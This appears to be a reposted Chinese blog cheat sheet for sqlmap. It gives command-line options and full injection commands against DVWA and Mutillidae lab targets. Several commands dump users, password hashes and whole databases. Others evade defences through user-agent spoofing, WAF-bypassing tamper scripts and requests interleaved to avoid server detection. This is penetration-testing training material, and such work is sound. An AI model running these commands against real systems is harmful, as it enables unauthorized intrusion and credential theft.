sqlmap 常用的注入格式

来源:https://blog.csdn.net/ski_12/article/details/58188331

-u #注入点
-r “” # 加载文件注入

sqlmap.py -r “d://a.txt”

-f #指纹判别数据库类型
这里写图片描述
-b #获取数据库版本信息 也可以写成–banner
-d参数,直接连接数据库服务器,作为数据库客户端使用而不是通过SQL注入漏洞查询进行,查询速度较快,前提是已知数据库当前的用户名及其密码、IP、端口(3306端口为mysql)和数据库名称(dvwa):

sqlmap.py -d “mysql://user:[email protected]:3306/dvwa” -f --users

-p #指定可测试的参数(?page=1&id=2 -p “page,id”) 使- -level失效
-m参数,将有多个URL的文件提交上来进行扫描:

sqlmap.py -m urllist.txt --users

-D “” #指定数据库名
-T “” #指定表名
-C “” #指定字段
-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log”  恢复:-s “
-wizard:命令参数向导

--columns #列出字段
--cookie="cookie"    #携带cookie连接
--current-db  #查看当前数据库管理系统用户
--current-user #查看当前数据库管理**系统用户**
--users #查看当前数据库的**所有用户**
--passwords #数据库用户所有密码
--privileges #查看用户权限(–privileges -U root)
--dbs     #列出所有数据库
--tables -D 指定数据库    #列出指定数据库中的表
-D dvwa T  users --columns    #列出dvwa数据库中的users表的所有字段
--dump-all #列出所有数据库所有表
--exclude-sysdbs #只列出用户自己新建的数据库和表
--hostname:查看目标主机名

携带cookie认证注入
sqlmap.py -u “url” –cookie=”cookie” –batch

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=h1hueell46k88im8tcv385af64" --batch

-p 指定可测试的参数 ?page=1&id=2 -p “page,id”

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=h1hueell46k88im8tcv385af64" -p id --batch

HTTPS:

扫描HTTPS网站时需要添加参数–force-ssl:

sqlmap.py -u “https://10.10.10.137/a.php?id=1:8843” --force-ssl

Request:
–data数据段:将URL中的参数部分放到后面

GET/POST都适用,在GET方法中将URL后面的参数部分提取出来就好,在POST方法中需要自己用Burpsuite查看URL和参数的值即可,当然也可以在浏览器中F12打开开发者工具来查看。

sqlmap.py -u "http://127.0.0.1/DVWA/login.php" --data="username=admin&password=password&Login=Login&user_token=527b2c45a380daf44439229f87dfb3e7" -f

--param-del:变量分隔符

默认情况下参数变量的分隔符为&,若为其他符号时要使用变量分隔符。

sqlmap.py -u "http://10.10.10.137/mutillidae/index.php?page=login.php" --data="username=1;password=2;login-php-submit-button=Login" --param-del=";" -f

很多服务器对于user-agent中出现sqlmap字样的都会被过滤掉,因此需要通过–user-agent参数进行修改,可以从刚刚用的Burpsuite中找:
sqlmap 常用的注入格式_第1张图片

sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=7a89438737dbd6b89c3b11b1472045c0" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0"

--host:修改Host头主机内容

Level=5时sqlmap自动扫描

有上面的扫描结果知道,Host为10.10.10.137,直接在上面的命令中添加–host修改为HHH:
sqlmap 常用的注入格式_第2张图片

--referer:

Level>=3时sqlmap自动扫描:
这里写图片描述

Referer头显示的是当前页面的URL:
sqlmap 常用的注入格式_第3张图片

修改为RRR:
sqlmap 常用的注入格式_第4张图片

–headers:

自定义的HTTP头,每行一个头,大小写区分:

--headers=”Host:HT\nUser-Agent:UA”

sqlmap 常用的注入格式_第5张图片

--method=GET/POST:指定使用GET方法或者POST方法

基于HTTP协议的身份验证:
Basic:基本身份验证
Digest:摘要身份验证
NTLM:Windows可能用的身份验证

sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=7a89438737dbd6b89c3b11b1472045c0"  --auth-type Basic --auth-cred “user:password”

--auth-file:

需要PEM格式的证书文件

--auth-file=”ca.PEM”

http(s)代理:

--proxy=”http://127.0.0.1:8087”

--proxy-cred=”username:password”:身份认证

--ignore-proxy:忽略系统级代理设置,通常用于扫描本地网络目标

sqlmap -u “http://10.10.10.137/a.php?id=1” --proxy=”http://127.0.0.1:8087” -f

因为检测和盲注阶段会产生大量失败请求,服务器可能会销毁session。因此可以使用上述两个参数来解决,每发送–safe-freq次注入请求后,发送一次正常请求,即发送几个失败请求后就发送一次正常信息,绕过服务器的检测机制。

 --safe-url和--safe-freq:
  --keep-alive:

使用http(s)长连接,避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源

与–proxy参数不兼容

–threads:

最大并发线程,默认值为1,建议不要超过10,否则会影响站点可用性

与–predict-output参数不兼容
盲注时每个线程获取一个字符(7次请求),获取完成后线程结束

–skip:排除指定的扫描参数

--level=5 --skip=”id,user-agent”
--dbms:指定数据库,可以加版本号,提高注入的效率 

数据库名如MySQL<5.0>、Oracle<11i>、Microsoft SQL Server<2005>、PostgreSQL等

–tamper:

混淆脚本,用于绕过应用层过滤、IPS、WAF

查看脚本:dpkg -L sqlmap | grep tamper

 sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=login.php" --tamper="randomcase.py,space2dash.py" --users -v 3

Brute Force:

无权读取information_schema库时,需要用到暴力破解来扫描
–common-tables:暴力破解表名

–common-columns:暴力破解列名

你可能感兴趣的:(sql注入,sqlmap)